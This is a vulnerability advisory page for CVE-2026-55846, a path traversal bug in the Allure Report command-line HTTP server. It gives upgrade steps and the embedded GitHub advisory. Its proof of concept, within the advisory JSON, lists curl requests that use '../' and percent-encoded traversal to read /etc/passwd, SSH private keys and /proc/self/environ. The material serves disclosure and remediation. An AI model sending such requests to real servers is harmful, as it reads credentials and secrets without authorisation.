Vulnerabilities in pkg:maven/io.qameta.allure/allure-commandline
PACKAGECVE-2026-55846 is a MODERATE (CVSS 6.2) path traversal vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Allure Report libraries in the Maven ecosystem. The issue involves path traversal in http server allows arbitrary file read. Remediation is available by upgrading affected packages to version 2.39.0.
pkg:maven/io.qameta.allure/allure-commandline
Vulnerability advisories affecting package pkg:maven/io.qameta.allure/allure-commandline. Select an advisory below to view technical details or fixes.
| Advisory ID | CVE / NVD | Severity | Summary |
|---|---|---|---|
| GHSA-82cg-3hv7-74gc | CVE-2026-55846 | MODERATE | Allure Report: Path Traversal in HTTP Server Allows Arbitrary File Read |
CVE-2026-55846 at a Glance
Security Impact
CVSS: 6.2
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).
How to Fix CVE-2026-55846
To remediate this vulnerability, upgrade all affected Allure Report dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
<dependency>
<groupId>io.qameta.allure</groupId>
<artifactId>allure-commandline</artifactId>
<version>2.39.0</version>
</dependency>
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
mvn dependency:tree -Dincludes=io.qameta.allure
How to Check if You Are Affected
To determine whether your Java application is affected by CVE-2026-55846, inspect your build dependencies using the Maven Dependency Plugin:
mvn dependency:tree -Dincludes=io.qameta.allure
Analyze the terminal output to locate any version of Allure Report in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.39.0), your application is affected.
Note: The mvn dependency:tree -Dincludes=io.qameta.allure command inspects the resolved dependency graph declared in your project's POM files; it does not perform automated security scanning or inspect runtime dynamic classpaths. Always verify runtime container classpaths and shaded JARs.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Allure Report, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-55846 Affected Allure Report Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
io.qameta.allure:allure-commandline
|
Maven |
< 2.39.0
|
2.39.0
|
References
Frequently Asked Questions
What is CVE-2026-55846?
Which Allure Report versions are affected?
What version fixes CVE-2026-55846?
Is allure-commandline affected?
What is the CVSS score of CVE-2026-55846?
What CWE is associated with CVE-2026-55846?
How can I check Maven dependencies for CVE-2026-55846?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-82cg-3hv7-74gc",
"modified" : "2026-06-19T21:15:50Z",
"published" : "2026-06-19T21:15:50Z",
"aliases" : [ "CVE-2026-55846" ],
"summary" : "Allure Report: Path Traversal in HTTP Server Allows Arbitrary File Read",
"details" : "## Summary\n\nThe built-in HTTP server started by `allure serve` and `allure open` is vulnerable to path traversal. The server resolves request URI paths directly against the report directory without normalizing or validating that the resolved path stays within the report directory. An attacker who can reach the server can read any file accessible to the Allure process by sending a request containing `../` sequences.\n\n## Details\n\nWhen `allure serve` or `allure open` is executed, `Commands.setUpServer()` creates an HTTP server with a handler that serves files from the report directory:\n\n**`allure-commandline/src/main/java/io/qameta/allure/Commands.java:325-339`**\n```java\nprotected HttpServer setUpServer(final String host, final int port, final Path reportDirectory) throws IOException {\n final HttpServer server = HttpServer\n .create(new InetSocketAddress(Objects.isNull(host) ? \"localhost\" : host, port), 0);\n\n server.createContext(\"/\", exchange -> {\n final Path resolve = reportDirectory.resolve(\".\" + exchange.getRequestURI().getPath()); // line 330\n if (Files.isDirectory(resolve)) {\n serveFile(exchange, resolve.resolve(\"index.html\"));\n } else {\n serveFile(exchange, resolve);\n }\n });\n\n return server;\n}\n```\n\nOn line 330, the handler constructs a file path by concatenating `\".\"` with the raw request URI path and resolving it against `reportDirectory`. For a request to `/../../../etc/passwd`:\n\n1. `exchange.getRequestURI().getPath()` returns `\"/../../../etc/passwd\"`\n2. String concatenation produces `\"./../../../etc/passwd\"`\n3. `reportDirectory.resolve(\"./../../../etc/passwd\")` resolves to e.g. `/tmp/allure-report/./../../../etc/passwd`\n4. The OS resolves this to `/etc/passwd`\n\nThere is no call to `.normalize()` followed by a `.startsWith(reportDirectory)` containment check. The `serveFile()` method (line 341) reads and returns any regular file without further validation.\n\nAdditionally, `URI.getPath()` returns the percent-decoded path, so `%2e%2e` is decoded to `..`, enabling traversal via `/%2e%2e/%2e%2e/etc/passwd` which bypasses clients that normalize `..` in raw form.\n\nThe server defaults to binding on `localhost` (line 327), which limits remote exploitation. However, the `--host` option allows users to bind to any interface (e.g., `--host 0.0.0.0`), which is commonly used in CI/CD and containerized environments. Even when bound to localhost, the vulnerability is exploitable by:\n- Other local users on shared/multi-tenant systems\n- DNS rebinding attacks from malicious web pages visited by the user\n- Adjacent containers in CI/CD environments that share a network namespace\n\n## PoC\n\n**Step 1:** Start the Allure server (simulating a typical CI/CD scenario with network binding):\n```bash\nallure serve ./test-results --host 0.0.0.0 --port 9090\n```\n\n**Step 2:** Read `/etc/passwd` via path traversal:\n```bash\ncurl --path-as-is 'http://localhost:9090/../../../etc/passwd'\n```\n\n**Step 3:** Alternative using percent-encoded traversal (works even with clients that normalize `..`):\n```bash\ncurl 'http://localhost:9090/%2e%2e/%2e%2e/%2e%2e/etc/passwd'\n```\n\n**Step 4:** Read sensitive application files (e.g., environment variables, SSH keys):\n```bash\ncurl --path-as-is 'http://localhost:9090/../../../home/user/.ssh/id_rsa'\ncurl --path-as-is 'http://localhost:9090/../../../proc/self/environ'\n```\n\nEach command returns the full contents of the requested file if readable by the Allure process.\n\n## Impact\n\nAn attacker who can reach the Allure HTTP server can read any file on the system that the Allure process has permissions to access. This includes:\n\n- **System credentials:** `/etc/shadow` (if running as root), SSH private keys, cloud provider credentials\n- **Application secrets:** Environment variables via `/proc/self/environ`, configuration files, API keys\n- **Source code and data:** Any file on the filesystem accessible to the running user\n\nIn CI/CD environments where Allure is commonly used, this could expose build secrets, deployment credentials, and other sensitive CI/CD artifacts. The lack of authentication means any client that can reach the server's port can exploit this vulnerability.\n\n## Recommended Fix\n\nNormalize the resolved path and verify it remains within the report directory before serving:\n\n```java\nserver.createContext(\"/\", exchange -> {\n final Path resolve = reportDirectory.resolve(\".\" + exchange.getRequestURI().getPath()).normalize();\n if (!resolve.startsWith(reportDirectory.normalize())) {\n exchange.sendResponseHeaders(403, 0);\n exchange.getResponseBody().close();\n return;\n }\n if (Files.isDirectory(resolve)) {\n serveFile(exchange, resolve.resolve(\"index.html\"));\n } else {\n serveFile(exchange, resolve);\n }\n});\n```\n\nThe `.normalize()` call collapses `..` sequences, and the `.startsWith()` check ensures the resolved path is still within the report directory. Requests attempting traversal receive a 403 Forbidden response.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Maven",
"name" : "io.qameta.allure:allure-commandline"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "2.39.0"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 2.38.1"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/allure-framework/allure2/security/advisories/GHSA-82cg-3hv7-74gc"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/allure-framework/allure2"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-22" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-06-19T21:15:50Z",
"nvd_published_at" : null
}
}